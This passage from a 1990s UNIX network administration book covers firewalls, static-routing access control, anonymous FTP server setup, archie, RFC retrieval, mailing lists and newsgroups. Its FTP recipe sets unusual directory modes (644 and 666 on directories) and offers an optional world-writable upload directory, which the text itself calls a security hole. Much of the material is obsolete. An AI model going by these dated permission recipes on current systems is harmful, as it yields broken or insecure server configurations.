The interior router does the bulk of the access control work. It filters packets not only on address but also on protocol and port numbers to control the services that are accessible to and from the interior network. What services are blocked by this router are up to you. If you plan to use a firewall, the services that will be allowed and those that will be denied should be defined in your security policy document. Almost every service can be a threat. These threats must be evaluated in light of your security needs. Services that are intended only for internal users (NIS, NFS, X-Windows, etc.) are almost always blocked. Services that allow writing to internal systems (the r commands, telnet, FTP, SMTP, etc.) are usually blocked. Services that provide information about internal systems (DNS, fingerd, etc.) are usually blocked. This doesn't leave much running! That is where the bastion host and perimeter network come in.

The bastion host is a secure server. It provides an interconnection point between the enterprise network and the outside world for the restricted services. Some of the services that are restricted by the interior gateway may be essential for a useful network. Those essential services are provided through the bastion host in a secure manner. The bastion host provides some services directly, such as DNS, SMTP mail services, and anonymous FTP. Other services are provided as proxy services. When the bastion host acts as a proxy server, internal clients connect to the outside through the bastion hosts and external systems respond back to the internal clients through the host. The bastion host can therefore control the traffic flowing into and out of the site to any extent desired.

There can be more than one secure server, and there often is. The perimeter network connects the servers together and connects the exterior router to the interior router. The systems on the perimeter network are much more exposed to security threats than are the systems on the interior network. This is as it must be. After all, the secure servers are needed to provide service to the outside world as well as to the internal network. Isolating the systems that must be exposed on a separate network lessens the chance that a compromise of one of those systems will lead directly to the compromise of an internal system.

The multi-homed host architecture attempts to duplicate all of these firewall functions in a single box. It works by replacing an IP router with a multi-homed host that does not forward packets at the IP layer. [8] The multi-homed host effectively severs the connection between the interior and exterior networks. To provide the interior network with some level of network connectivity, it performs similar functions to the bastion hosts.

[8] The role that IP routers, also called gateways, play in gluing the Internet together is covered extensively in earlier chapters.

Figure 12.5 shows a comparison between an IP router and a multi-homed host firewall. A router handles packets up through the IP layer. The router forwards each packet based on the packet's destination address, and the route to that destination indicated in the routing table. A host, on the other hand, does not forward packets. The multi-homed host processes packets through the Application Layer, which provides it with complete control over how packets are handled. [9]

[9] See the GATEWAY option in Chapter 5, for information on how to prevent a multi-homed host from forwarding packets.

Figure 12.5: Firewalls versus routers

This definition of a firewall - as a device completely distinct from an IP router - is not universally accepted. Some people refer to routers with special security features as firewalls, but this is really just a matter of semantics. In this book, routers with special security features are called "secure routers" or "secure gateways." Firewalls, while they may include routers, do more than just filter packets.

12.7.1 Functions of the firewall

An intruder cannot mount a direct attack on any of the systems behind a firewall. Packets destined for hosts behind the firewall are simply delivered to the firewall. The intruder must instead mount an attack directly against the firewall machine. Because the firewall machine can be the target of break-in attacks, it employs very strict security guidelines. But because there is only one firewall versus many machines on the local network, it is easier to enforce strict security on the firewall.

The disadvantage of a firewall system is obvious. In the same manner that it restricts access from the outside into the local network, it restricts access from the local network to the outside world. To minimize the inconvenience caused by the firewall, the system must do many more things than a router does. Some firewalls provide:

  • DNS name service for the outside world

  • Email forwarding

  • Proxy services

Only the minimal services truly needed to communicate with external systems should be provided on a firewall system. Other common network services (NIS, NFS, rsh, rcp, finger, etc.) should generally not be provided. Services are limited to decrease the number of holes through which an intruder can gain access. On firewall systems, security is more important than service.

The biggest problems for the firewall machine are ftp service and remote terminal service. To maintain a high level of security, user accounts are discouraged on the firewall machine; however, user data must pass through the firewall system for ftp and remote terminal services. This problem can be handled by creating special user accounts for ftp and telnet that are shared by all internal users. But group accounts are generally viewed as security problems. A better solution is to provide proxy services on the firewall. To do this you need to run a proxy server on the firewall and proxy clients on your internal system. Most commercial client software includes support for proxy services. Many packages are compatible with SOCKS, a freely available proxy service package that can be downloaded from the Internet.

Because to be effective a firewall must be constructed with great care, and because there are many configuration variables for setting up a firewall machine, vendors offer special firewall software. Some vendors sell special-purpose machines designed specifically for use as firewall systems. Before setting up your own firewall, investigate the options available from your hardware vendor.

The details of setting up a firewall system are beyond the scope of this book. Before you proceed, I recommend you read Building Internet Firewalls and Firewalls and Internet Security, listed in the bibliography at the end of this chapter. Unless you have skilled UNIX systems administrators with adequate free time, a do-it-yourself firewall installation is a mistake. Hire a company that specializes in firewall design and installation. If your information is valuable enough to protect with a firewall, it must be valuable enough to protect with a professionally installed firewall.

Firewall systems are useful to many sites, but for some others they are not appropriate. The restrictions they place on individual users are not acceptable to some organizations, and these restrictions can drive independent-minded users to find other ways to handle their communications needs. Think seriously about your real security needs before selecting a solution.

12.7.2 Routing control

A firewall system works by controlling routing between the protected system and the rest of the world. A carefully modified static routing table can be used to provide a similar type of protection between internal systems on an enterprise network.

As we discussed in the chapters on routing and troubleshooting, it is necessary for your system to have a routing table entry for every network with which it will communicate. This can be either an explicit route for an individual network, or a default route for all networks. Without the proper routes, your system cannot communicate with remote networks, and the remote networks cannot communicate with your system. Regardless of how the remote site sets up its routing, it cannot communicate with your host if your host does not have a route back to the remote site. Because of this, you can control which remote sites are able to communicate with your system by controlling the contents of the routing table.

For example, assume that the nuts.com personnel department is on subnet 172.16.9.0, and that the router for their subnet is 172.16.9.1. They want to talk only to other hosts on their subnet and to a management system named hickory.nuts.com (172.16.18.7). To implement this policy with the routing table, each host administrator on the personnel subnet:

  1. Makes sure that no routing protocol is running, and that none is started automatically at boot time.

  2. Disables source routing.

  3. Makes sure that there is no default route in the routing table, and that a default route is not added automatically at boot time.

  4. Adds a host-specific route to 172.16.18.7 (hickory.nuts.com), and makes sure that this static route is added each time the system boots.

Using netstat to display this limited routing table on host 172.16.9.14 shows the following:

# netstat -nr
Routing tables
Destination    Gateway       Flags    Refcnt Use   Interface
127.0.0.1      127.0.0.1     UH       2      7126   lo0
172.16.18.7    172.16.9.1    UGH      1      1285   le0
172.16.9.0     172.16.9.14   U        30     89456  le0

The display shows the loopback route, a route to the local subnet (172.16.9.0), and a host route to hickory.nuts.com (172.16.18.7). There are no other routes, so there are no other locations with which this host can communicate. Therefore, if an intruder launched an attack against this system, he would receive no response.

This security technique is less restrictive than an internal firewall, because it affects only the systems that contain the data or processes that are being protected. This technique is easy to implement and does not require special equipment or software. However, it is also much less secure than a firewall. If any of these systems is successfully attacked, all of the systems could be compromised. Each system being protected this way must be properly configured, while one firewall can protect a group of systems. This works only when there are a small number of systems and they are all under the control of a single network administrator. In a few situations, this is a possible alternative to an internal firewall..

Previous: 12.6 Encryption | TCP/IP Network Administration | Next: 12.8 Words to the Wise
12.6 Encryption | Book Index | 12.8 Words to the Wise


[Chapter 12] 12.8 Words to the Wise

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 12.7 Firewalls Chapter 12
Network Security 		Next: 12.9 Summary

12.8 Words to the Wise

I am not a security expert; I am a network administrator. In my view, good security is good system administration and vice versa. Most of this chapter is just common-sense advice. It is probably sufficient for most circumstances, but certainly not for all.

Make sure you know whether there is an existing security policy that applies to your network or system. If there are policies, regulations, or laws governing your situation, make sure to obey them. Never do anything to undermine the security system established for your site.

No system is completely secure. No matter what you do, you will have problems. Realize this and prepare for it. Prepare a disaster recovery plan and do everything necessary, so that when the worst does happen, you can recover from it with the minimum possible disruption.

A good listing of available security publications can be found at http://csrc.nist.gov/secpub. If you want to read more about security, I recommend the following:

  • RFC 1244, Site Security Handbook, P. Holbrook, J. Reynold, et al., July 1991.

  • RFC 1281, Guidelines for the Secure Operation of the Internet, R. Pethia, S. Crocker, and B. Fraser, November 1991.

  • Practical UNIX and Internet Security, Simson Garfinkel and Gene Spafford, O'Reilly & Associates, 1996.

  • Building Internet Firewalls, Brent Chapman and Elizabeth Zwicky, O'Reilly & Associates, 1995.

  • Computer Security Basics, Deborah Russell and G. T. Gangemi, Sr., O'Reilly & Associates, 1991.

  • Firewalls and Internet Security, William Cheswick and Steven Bellovin, Addison-Wesley, 1994.

Previous: 12.7 Firewalls | TCP/IP Network Administration | Next: 12.9 Summary
12.7 Firewalls | Book Index | 12.9 Summary


[Chapter 12] 12.9 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 12.8 Words to the Wise Chapter 12
Network Security 		Next: 13. Internet Information Resources

12.9 Summary

Network access and computer security work at cross-purposes. Attaching a computer to a network increases the security risks for that computer. Evaluate your security needs to determine what must be protected and how vigorously it must be protected. Develop a written site security policy that defines your procedures and documents the security duties and responsibilities of employees at all levels.

Network security is essentially good system security. Good user authentication, effective system monitoring, and well-trained system administrators provide the best security. Tools are available to help with these tasks. SSH, OPIE, Tripwire, COPS, SATAN, TCP Wrapper, encryption, and firewalls are all tools that can help.

Like troubleshooting, network security is an ongoing process. In the final chapter, we discuss another ongoing process - learning. Now we look at ways you can keep abreast of the most current information in network administration.

Previous: 12.8 Words to the Wise | TCP/IP Network Administration | Next: 13. Internet Information Resources
12.8 Words to the Wise | Book Index | 13. Internet Information Resources


[Chapter 13] Internet Information Resources

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 12.9 Summary Chapter 13 Next: 13.2 Anonymous FTP

13. Internet Information Resources

Contents:
The World Wide Web
Anonymous FTP
Finding Files
Retrieving RFCs
Mailing Lists
The White Pages
Summary

Now that our network is configured, debugged, and secure, how will we use it? Increasingly, a network serves not merely as a delivery link between two hosts, but as a path to information resources. Information servers, file repositories, databases, and information directories are available throughout the Internet. But, with millions of devices connected to the Internet, finding these services can be a daunting task.

This chapter explores various ways to avail yourself of this storehouse of information. We look at how information is retrieved from network servers, some tools that make it easier to locate that information, and how to configure your system as an anonymous FTP server.

13.1 The World Wide Web

The primary method used to retrieve network information is the World Wide Web. The Web is an interlinked network of hypertext servers based on the Hypertext Transfer Protocol (HTTP) that runs on top of TCP/IP. The Web is accessed via a browser, a program that provides a consistent graphical interface to the user. All of the popular UNIX browsers - Netscape, Mosaic, Arena, etc. - are modeled after the original Mosaic browser developed at the National Center for Supercomputer Applications (NCSA). Therefore, they share a common look and feel.

Most UNIX systems do not ship with a built-in browser; you need to download one from the Internet. The Netscape browser is available at the URL http://www.netscape.com. It can be downloaded, evaluated, and then purchased. (It's nice to be able to try before you buy!) The Mosaic browser is available free of charge at ftp://ftp.ncsa.edu/Web/Mosaic/Unix/binaries. They both work well and in an almost identical manner. However, Netscape is the most popular browser and has an active development team.

Obtaining information from hypertext Web pages is the most common use for a browser. Use yours to keep up with the most current network information. Figure 13.1 shows a network administrator checking the security alerts at the Computer Security Resource Clearinghouse at the National Institute of Standards and Technology.

Figure 13.1: Security alerts website

The URL field near the top of the sample screen is the location of the Web page we are reading. On some other browsers this field is labeled "Location" or "Netsite," but in all cases it performs the same function: it holds the path to the information resource. In the example the location is http://csrc.nist.gov/secalert/. "URL" stands for universal resource locator. It is a standard way of defining a network resource and it has a specific structure:

service://server/path/file

In the sample URL, http is the service; csrc.nist.gov is the server; and secalerts is the path to the resource contained on that server. This tells the browser to locate a host with the domain name csrc.nist.gov, and to ask it for the hypertext information located in the secalerts path. Hypertext is not the only type of information that can be retrieved by a browser. The browser is intended to provide a consistent interface to various types of network resources. HTTP is only one of the services that can be specified in a URL.

A Web browser can be used to view local hypertext files. This is how the gated documentation is delivered. Figure 13.2 shows a network administrator reading the gated documentation. The URL in Figure 13.2 is file://localhost/usr/doc/config_guide/config.html. The service is file, which means that the resource is to be read via the standard filesystem. The server is the local host (localhost). The path is /usr/doc/config_gated, and the file is config.html.

Figure 13.2: Reading GateD documentation

Another browser service that is often used by a network administrator is FTP. Figure 13.3 shows a network administrator using a browser to download software. The URL in Figure 13.3 is ftp://ftp.ncsa.edu/Web/Mosaic/Unix/binaries/2.6. FTP is the service used to access the resource, which in this case is a binary file. The server is ftp.ncsa.edu, which is the anonymous FTP server at the National Center for Super Computing Applications. The path is /Web/Mosaic/Unix/binaries/2.6 and the file is any of the files listed on the screen.

Figure 13.3: Browser FTP interface

Reading important announcements and documentation and downloading files are probably the most common uses a network administrator has for a Web browser. There are, however, many other things that can be done with a browser and a huge number of resources available on the network. A detailed discussion of browsers and the Web is beyond the scope of this book. See The Whole Internet User's Guide and Catalog, by Ed Krol (O'Reilly & Associates), for a full treatment of these subjects.

The browser provides a consistent interface to a variety of network services. But it is not the only way, or necessarily the best way, to access all of these services. In particular, it may not be the fastest or most efficient way to download a file. Figure 13.3 shows a file being downloaded from an anonymous FTP server. An alternative is to invoke ftp directly from the command-line interface.

Previous: 12.9 Summary | TCP/IP Network Administration | Next: 13.2 Anonymous FTP
12.9 Summary | Book Index | 13.2 Anonymous FTP


[Chapter 13] 13.2 Anonymous FTP

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 13.1 The World Wide Web Chapter 13
Internet Information Resources 		Next: 13.3 Finding Files

13.2 Anonymous FTP

Anonymous FTP is mentioned throughout this book as a technique for retrieving publicly available files and programs from the many FTP servers around the Internet. Anonymous FTP is simply an ftp session in which you log into the remote server using the username anonymous and, by convention, your email address as the password. [1] The anonymous FTP example below should make this simple process clear:

[1] Some FTP servers request your real username as a password.

% ftp ftp.ncsa.edu
Connected to ftp.ncsa.uiuc.edu.
220 FTP server Wed May 21 1997 ready.
Name (ftp.ncsa.edu:kathy): anonymous
331 Guest login ok, use email address as password.
Password:
ftp> cd /Web/Mosaic/Unix/binaries/2.6
250 CWD command successful.
ftp> binary
200 Type set to I.
ftp> get Mosaic-hp-2.6.Z Mosaic.Z
200 PORT command successful.
150 Opening BINARY mode data connection for Mosaic-hp-2.6.Z.
226 Transfer complete.
local: Mosaic.Z remote: Mosaic-hp-2.6.Z
809343 bytes received in 3.5 seconds (2.3e+02 Kbytes/s)
ftp> quit
221 Goodbye.

In this example, the user logs into the server ftp.ncsa.edu using the username anonymous and the password kathy@nuts.com, which is her email address. With anonymous FTP, she can log in even though she doesn't have an account on ftp.ncsa.edu. Of course what she can do is restricted, but she can retrieve certain files from the system, and that's just what she does. She changes to the /Web/Mosaic/Unix/binaries/2.6 directory and gets the compressed file Mosaic-hp-2.6.Z. The file is retrieved in binary mode.

13.2.1 Creating an FTP Server

Using the anonymous FTP service offered by a remote server is very simple. However, setting up an anonymous FTP service on your own system is a little more complicated. Here are the steps to set up an anonymous FTP server:

  1. Add user ftp to the /etc/passwd file.

  2. Create an ftp home directory owned by user ftp that cannot be written to by anyone.

  3. Create a bin directory under the ftp home directory that is owned by root, and that cannot be written to by anyone. The ls program should be placed in this directory and changed to mode 111 (execute-only).

  4. Create an etc directory in the ftp home directory that is owned by root, and that cannot be written to by anyone. Create special passwd and group files in this directory, and change the mode of both files to 444 (read-only).

  5. Create a pub directory in the ftp home directory that is owned by root and is only writable by root, i.e., mode 644. Don't allow remote users to store files on your server, unless it is absolutely necessary and your system is on a private, non-connected network. If you must allow users to store files on the server, change the ownership of this directory to ftp and the mode to 666 (read and write). This should be the only directory where anonymous FTP users can store files.

The following examples show each of these steps. First, create the ftp home directory and the required subdirectories. In our example, we create the ftp directory under the /usr directory.

# mkdir /usr/ftp
# cd /usr/ftp
# mkdir bin
# mkdir etc
# mkdir pub

Then copy ls to /usr/ftp/bin, and set the correct permissions.

# cp /bin/ls /usr/ftp/bin
# chmod 111 /usr/ftp/bin/ls

Create a group that will be used only by anonymous FTP, a group that has no other members. In our example we create a group called anonymous. An entry for this new group is added to the /etc/group file, and a file named /usr/ftp/etc/group is created that contains only this single entry.

anonymous:*:15:

Create a user named ftp by placing an entry for that user in the file /etc/passwd. Also create a file named /usr/ftp/etc/passwd that contains only the ftp entry. Here's the entry we used in both files:

ftp:*:15:15:Anonymous ftp:/usr/ftp:

These examples use a GID of 15 and a UID of 15. These are only examples; pick a UID and GID that aren't used for anything else on your system.

A cat of the newly created /usr/ftp/etc/passwd and /usr/ftp/etc/group files shows the following:

% cat /usr/ftp/etc/passwd
ftp:*:15:15:Anonymous ftp:/usr/ftp:
% cat /usr/ftp/etc/group
anonymous:*:15:

After the edits are complete, set both files to mode 444:

# chmod 444 /usr/ftp/etc/passwd
# chmod 444 /usr/ftp/etc/group

Set the correct ownership and mode for each of the directories. The ownership of /usr/ftp/pub, /usr/ftp/bin, and /usr/ftp/etc do not need to be changed because the directories were created by root.

# cd /usr/ftp
# chmod 644 pub
# chmod 555 bin
# chmod 555 etc
# cd ..
# chown ftp ftp
# chmod 555 ftp

If you must allow users to write their own files in the pub directory, make the following changes: [2]

[2] This opens a large security hole. Allow users to write their own files to the anonymous FTP server only if you must.

# chown ftp pub
# chmod 666 pub

For most UNIX systems, the installation is complete. But if you have a Sun OS 4.x system, a few more steps are necessary. The dynamic linking used by Sun OS requires that the ftp home directory contains:

  1. The runtime loader

  2. The shared C library

  3. /dev/zero

These Sun-specific steps are shown in the following examples. First, create the directory /usr/ftp/usr/lib, then copy the files ld.so and libc.so.* into the new directory, and set the file permissions:

# cd /usr/ftp
# mkdir usr
# mkdir usr/lib
# cp /usr/lib/ld.so usr/lib
# cp /usr/lib/libc.so.* usr/lib
# chmod 555 libc.so.*
# chmod 555 usr/lib
# chmod 555 usr

Next, create the ftp/dev directory, and run mknod to create dev/zero:

# cd /usr/ftp
# mkdir dev
# cd dev
# mknod zero c 3 12
# cd ..
# chmod 555 dev

Now you can copy the files you wish to make publicly available into /usr/ftp/pub. To prevent these files from being overwritten by remote users, set the mode to 644 and make sure the files are not owned by user ftp.

Once you complete the configuration steps necessary for your system, test it thoroughly before announcing the service. Make sure that your server provides the anonymous FTP service you want, without providing additional "services" that you don't want (such as allowing anonymous users access to files outside of the ftp home directory). Anonymous FTP is a potential security risk. If you offer this service at all, limit the number of systems at your site that provide it (one is usually enough), and take care to ensure that the installation is done properly.

Previous: 13.1 The World Wide Web | TCP/IP Network Administration | Next: 13.3 Finding Files
13.1 The World Wide Web | Book Index | 13.3 Finding Files


[Chapter 13] 13.3 Finding Files

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 13.2 Anonymous FTP Chapter 13
Internet Information Resources 		Next: 13.4 Retrieving RFCs

13.3 Finding Files

Anonymous FTP requires detailed knowledge from the user. To retrieve a file, you must know the FTP server and the directory where the file is located. When the network was small, this was not a major problem. There were a limited number of important FTP servers, and they were well stocked with files. You could always ftp to a major server and search through some directories using ftp's ls command. This old approach is not compatible with a large and expanding Internet for two reasons:

  • There are now thousands of major anonymous FTP servers. Knowing them all is difficult.

  • There are now millions of Internet users. They cannot all rely on a few well-known servers. The servers would quickly be overwhelmed with ftp requests.

archie is an application designed to help with this problem. It provides a database of information about anonymous FTP sites and the files they contain.

13.3.1 archie

archie expands the usefulness of anonymous FTP by helping you locate the file, program, or other information that you need. archie uses information servers that maintain databases containing information about hundreds of FTP servers, and thousands of files and programs throughout the Internet.

archie's primary database is a listing of files and the servers from which the files can be retrieved. In the simplest sense, you tell archie which file you're looking for, and archie tells you which FTP servers the file is available from.

archie can be used in four different ways: interactively, through electronic mail, via a Web browser, or from an archie client. To use archie interactively, telnet to one of the archie servers. [3] Log in using the username archie and no password. At the archie> prompt, type help to get a full set of interactive archie commands.

[3] The list of publicly accessible servers is available at http://www.bunyip.com/products/archie/world/servers.html.

There are many interactive archie commands, but the basic function of locating a program that is accessible via anonymous FTP can be reduced to two commands.

prog pattern

Display all files in the database with names that match the specified pattern.

mail address

Mail the output of the last command to address, which is normally your own email address.

The following example uses both of these commands to interactively search for gated-R3_5_5.tar, and then mail the results of the search to craig@peanut.nuts.com.

% telnet archie.internic.net
Trying 198.49.45.10...
Connected to archie.ds.internic.net.
Escape character is ']'.
UNIX(r) System V Release 4.0 (ds0)

login: archie

# Bunyip Information Systems, Inc., 1993, 1994, 1995

archie> prog gated-R3_5_5.tar
# Search type: sub.
# Your queue position: 1
# Estimated time for completion: 5 seconds.
working... O

Host ftp.zcu.cz    (147.228.206.16)
Last updated 11:32 27 Jun 1997

 Location: /pub/security/merit/gated
  FILE -r--r--r-- 1460773 bytes Jan 1997 gated-R3_5_5.tar.gz

archie> mail craig@peanut.nuts.com
archie> quit

The archie output provides all of the information you need to initiate an anonymous FTP transfer:

  • The name of the server (ftp.zcu.cz in our example)

  • The directory on the server that contains the file (/pub/security/merit/gated in our example)

  • The full name of the file (gated-R3_5_5.tar.gz in our example)

You can also use archie by sending email to archie at any one of the archie servers; for example, archie@archie.internic.net. The text of the mail message must contain a valid archie email command. To get a complete list of archie email commands, send mail containing the help command to one of the servers. In the example below, the email help file is requested from archie.internic.net.

% mail archie@archie.internic.net
Subject:
help
^D
EOT

While these two methods of accessing archie work fine, the best way to use archie is through a Web browser. Many Web servers provide an archie interface. http://pubweb.nexor.co/uk/public/archie/servers.html lists several of these gateways. The server used in Figure 13.4 is http://archie.bunyip.com/archie.html.

Figure 13.4: Archie Web interface

Enter the name of the program you want to locate in the Search for: box and press the Search button. Your browser displays the search results with links directly to the file you're seeking. For example, assume we rerun the search for gated-R3_5_5.tar.gz using the http://archie.bunyip.com/archie.html Web page. The server returns a list of eight matches, the first of which is the anonymous FTP server at ftp.zcu.cz. The filename gated-R3_5_5.tar.gz that is displayed next to the FTP server is a link. Clicking on the link transfers the file from ftp.zcu.cz to your system. Search and retrieval all in one interface!

While the Web browser provides the easiest interface to archie, some people prefer to run an archie client on their local system. Using an archie client reduces the load on the servers and improves responsiveness for the user. If you believe you'll access archie very frequently, it might be worth setting up an archie client.

13.3.1.1 archie client software

archie client software is available via anonymous FTP from the ftp.bunyip.com server. The software is stored in the pub/archie/clients directory. The README file in this directory provides a short description of each type of client. There are at least three different client software packages for UNIX: an X windows client and two command-line clients, one written in C and the other written in Perl. Check the archie servers for the latest developments in client software.

This section uses the command-line archie client written in C as an example. The C code and the instruction to make the client are all contained in the c-archie-1.4.1.tar.gz file from ftp.bunyip.com. Once the client has been made and installed, it is invoked using the command:

% archie [options] string

The string is the name of the file that you are asking archie to find. It can be the exact filename, a substring of the name, or a regular expression.

The options control how the string is interpreted. The -e option searches for a filename that exactly matches the string; the -s option matches on any record that contains the string as any part of the filename; and the -r option interprets the string as a UNIX regular expression when looking for matches.

The following example uses the archie client to search for sites from which the ppp software can be retrieved. The search uses a regular expression that will match any compressed tar file with a name that starts with ppp.

% archie -r '^ppp.*\.tar\.Z' > ppp.locations

Our example stores archie's output in the file ppp.locations. You can then examine ppp.locations to find the closest FTP server that has the latest version of the ppp tar file. Redirecting the output to a file is usually a good idea because archie often produces a lot of output. By default, the archie client will return as many as 95 matches to the search. To limit the number of matches returned, use the option -m n, where n is the maximum number of matches archie should return. For example, -m5 limits the search to five matches.

The archie database is frequently out-of-date or dominated by obscure FTP servers that have poor connectivity. This limits its utility. But sometimes archie is the only place you have to start your search for a file.

Previous: 13.2 Anonymous FTP | TCP/IP Network Administration | Next: 13.4 Retrieving RFCs
13.2 Anonymous FTP | Book Index | 13.4 Retrieving RFCs


[Chapter 13] 13.4 Retrieving RFCs

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 13.3 Finding Files Chapter 13
Internet Information Resources 		Next: 13.5 Mailing Lists

13.4 Retrieving RFCs

Throughout this book, we have referred to many RFCs. These are the Internet documents used for everything from general information to the definitions of the TCP/IP protocols standards. As a network administrator, there are several important RFCs that you'll want to read. In this section we describe how you can obtain them.

RFCs are available via the World Wide Web at http://www.internic.net. Follow the links from that home page through the directory services to the IETF RFC page. The page allows you to search the RFCs for keywords or to load the RFC index. The index is particularly useful if you know the number of the RFC you want. Figure 13.5 shows a network administrator scrolling through the index looking for RFC 1122.

Figure 13.5: The RFC index

In another example the network administrator does not know which RFCs contain the information she is looking for, but she knows what she wants. The administrator is trying to find out more about the SMTP service extensions that have been proposed for Extended SMTP. Figure 13.6 shows the four RFCs displayed as a result of her query.

Figure 13.6: An RFC Web search

The Web provides the most popular and best method for browsing through RFCs. However, if you know what you want, anonymous FTP can be a faster way to retrieve a specific document. RFCs are stored at ds.internic.net in the rfc directory. It stores the RFCs with filenames in the form rfcnnnn.txt or rfcnnnn.ps, where nnnn is the RFC number and txt or ps indicates whether the RFC is ASCII text or PostScript. To retrieve RFC 1122, ftp to ds.internic.net and enter get rfc/rfc1122.txt at the ftp> prompt. This is generally a very quick way to get an RFC, if you know what you want.

To help you find out which RFC you do want, get the rfc-index.txt file. It is a complete index of all RFCs by RFC number, and it's available from ds.internic.net in the rfc directory. You'll only need to get a new RFC index occasionally. Most of the time, the RFC you're looking for has been in publication for some time and is already listed in the index. Retrieve the RFC index and store it on your system. Then search it for references to the RFCs you're interested in.

13.4.1 Retrieving RFCs by mail

While anonymous FTP is the fastest way and the Web is the best way to get an RFC, they are not the only ways. You can also obtain RFCs through electronic mail. Electronic mail is available to many users who are denied direct access to Internet services because they are on a non-connected network or are sitting behind a restrictive firewall. Also, there are times when email provides sufficient service because you don't need the document quickly.

Retrieve RFCs through email by sending mail to mailserv@ds.internic.net. Leave the Subject: line blank. Request the RFC in the body of the email text, preceding the pathname of the RFC with the keyword FILE. In this example, we request RFC 1258.

% mail mailserv@ds.internic.net
Subject:
FILE /rfc/rfc1258.txt
^D

The technique works very well. In the time it took to type these paragraphs, the requested RFC was already in my mailbox.

Previous: 13.3 Finding Files | TCP/IP Network Administration | Next: 13.5 Mailing Lists
13.3 Finding Files | Book Index | 13.5 Mailing Lists


[Chapter 13] 13.5 Mailing Lists

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 13.4 Retrieving RFCs Chapter 13
Internet Information Resources 		Next: 13.6 The White Pages

13.5 Mailing Lists

Mailing lists bring together people with similar interests to exchange information and ideas. Most mailing lists run under usage guidelines that restricted discussion to a specific topic. Mailing lists are often used as places to report problems and get solutions, or to receive announcements. Some mailing lists are digests of newsgroups.

There is an enormous number of mailing lists. The list-of-lists contains information about many of the mailing lists that are of interest to network administrators. [4] Use a Web browser to search for mailing lists that interest you at http://catalog.com/vivian/interest-group-search.html. If you prefer, the list-of-lists can be downloaded via anonymous FTP from nisc.sri.com in the file netinfo/interest-groups.txt and searched with standard UNIX tools. Either way, you get the same information. The following example is the list-of-lists entry for the Berkeley Internet Name Domain (BIND) software mailing list:

[4] Despite its large size, not every network administration mailing list is contained in the interest-groups.txt file. You hear about some lists by word of mouth.

BIND@uunet.uu.net
  Subscription Address: bind-request@uunet.uu.net
  Owner: BIND-REQUEST@UUNET.UU.NET
  Description:
   This list covers topics relating to Berkeley Internet Name Domain
   (BIND) domain software.

The entry has four sections: the address of the mailing list, the address to which subscription requests are sent, the address of the owner, and a description of the list.

When you find a list you wish to join, don't send mail directly to the list asking to be enrolled. Instead, send the enrollment request to the subscription address, which identifies the person or process that maintains the list. If the list is manually maintained, as in the BIND example above, send your enrollment request to list-name-request@host where list-name is the actual name of the list, and is followed by the literal string -request. The -request extension is widely used as the address for administrative requests, such as being added to or dropped from a list, when lists are manually maintained. For example, to join the BIND mailing list, send your enrollment request to bind-request@uunet.uu.net. All other correspondence is sent directly to bind@uunet.uu.net.

Many mailing lists automate list management with programs like majordomo and LISTSERV. You can tell the type of server being used by looking at the subscription address in the list-of-lists. The user portion of that address will be either "majordomo" or "LISTSERV," depending on the server being used. To subscribe to a majordomo list, send email to the subscription address and type the following in the body of the message:

subscribe list-address your-address

where list-address is the address of the email list, and your-address is your email address.

To subscribe to a LISTSERV mailing list, send email to the subscription address with the following in the message body:

subscribe list your-name

where list is the name of the list, not necessarily its address, as that name appears in the first line of its list-of-lists entry. your-name is your first and last name. This is not your email address. LISTSERV takes your email address from the email headers.

13.5.1 Newsgroups

A mailing list is one way of distributing announcements and exchanging questions and answers, but it is not the most efficient way. A mail message is sent to every person on the list. It is sent immediately, and it must be stored on the local system until it is read. Thus, if there are 100 people on a list, 100 messages are sent over the network and stored at 100 receiving systems. Network news provides a more efficient method for distributing this kind of information. The information is stored around the network on, for most sites, one or two news servers. Therefore, instead of moving mail messages to every individual on your network who wants to discuss the Linux operating system, news articles about Linux are stored at one location where they can be read when the user is ready. Not only does this reduce the network load, it reduces the number of redundant copies that are stored on local disk files.

Network news is delivered over TCP/IP networks using the Network News Transfer Protocol (NNTP). NNTP is included as part of the TCP/IP protocol stack on most UNIX systems and requires no special configuration. The only thing you need to know to get started is the name of your closest network news server. Ask your ISP. Most ISPs provide network news as part of their basic service.

NNTP is a simple command/response protocol. The NNTP server listens to port 119:

% telnet news.nuts.com 119
Trying 172.16.16.19...
Connected to news.nuts.com.
Escape character is ']'.
200 news.nuts.com ready (posting ok).
quit
205
Connection closed by foreign host.

A help command sent to this server would have produced a list of 23 NNTP commands. Luckily this is not how you read network news. You use a newsreader.

UNIX systems often include a news reader. Our sample Linux system includes several different readers: nn, rn, tin, and trn. Your system may have anyone one of these or another newsreader. See the appropriate manpage for specific instructions on using a particular reader.

Regardless of the reader you have, they all have certain things in common. They all provide a way to subscribe to a news group, read articles from the group, and post your own articles to the group. In this trn example from our Linux system, the titles of the first 26 articles in the comp.os.linux.announce group are listed. To read an article, the user scrolls down to select the article and presses Enter. All readers provide a similar interface.

comp.os.linux.announce          50 articles (moderated)

a root      1  Ringconnect
b Clark     1  NTLUG Meeting
d Dave      1  Caldera
e Martin    1  Linux Users Group Meeting
f Evan      1  COMDEX Canada
g Jimn      1  Salt Lake Linux Users Group
i Tyde      1  San Fransisco Linux users' group
j Andy      1  Worcester Linux Users' Group
l Bob       1  MELUG meeting
o Olaf      1  IP tunnel
r Norbert   1  Index files
s Albert    1  Client-/Server-Backup
t Michael   1  Parallel programming
u Oz        1  FTP client
v Ted       1  Important notice
w Kamran    1  DIPC available
x Ken       1  Web site
y Cindy     1  CD-ROM available now!
z Bishop    1  C program documentation tool

-- Select threads (date order) -- Top 38% [>Z] --

Our sample Solaris system doesn't include any news readers mentioned above. But it doesn't matter. News is supported in the Netscape Navigator Web browser. Selecting Netscape News from the Windows menu in the Netscape browser opens a news reader. Figure 13.7 shows us reading news from comp.os.linux.

Figure 13.7: Netscape news interface

There are many, many newsgroups. Most of the newsgroups that are of interest to a network administrator are found in the comp category. comp.os contains sub-groups for various operating systems. comp.unix lists groups for various flavors of UNIX. comp.networks and comp.internet provide information about networks and the Internet. comp.security and comp.virus provide security information.

There is a tremendous amount of dross in most news groups. But if you need a question answered or information on a specific topic, they can be invaluable.

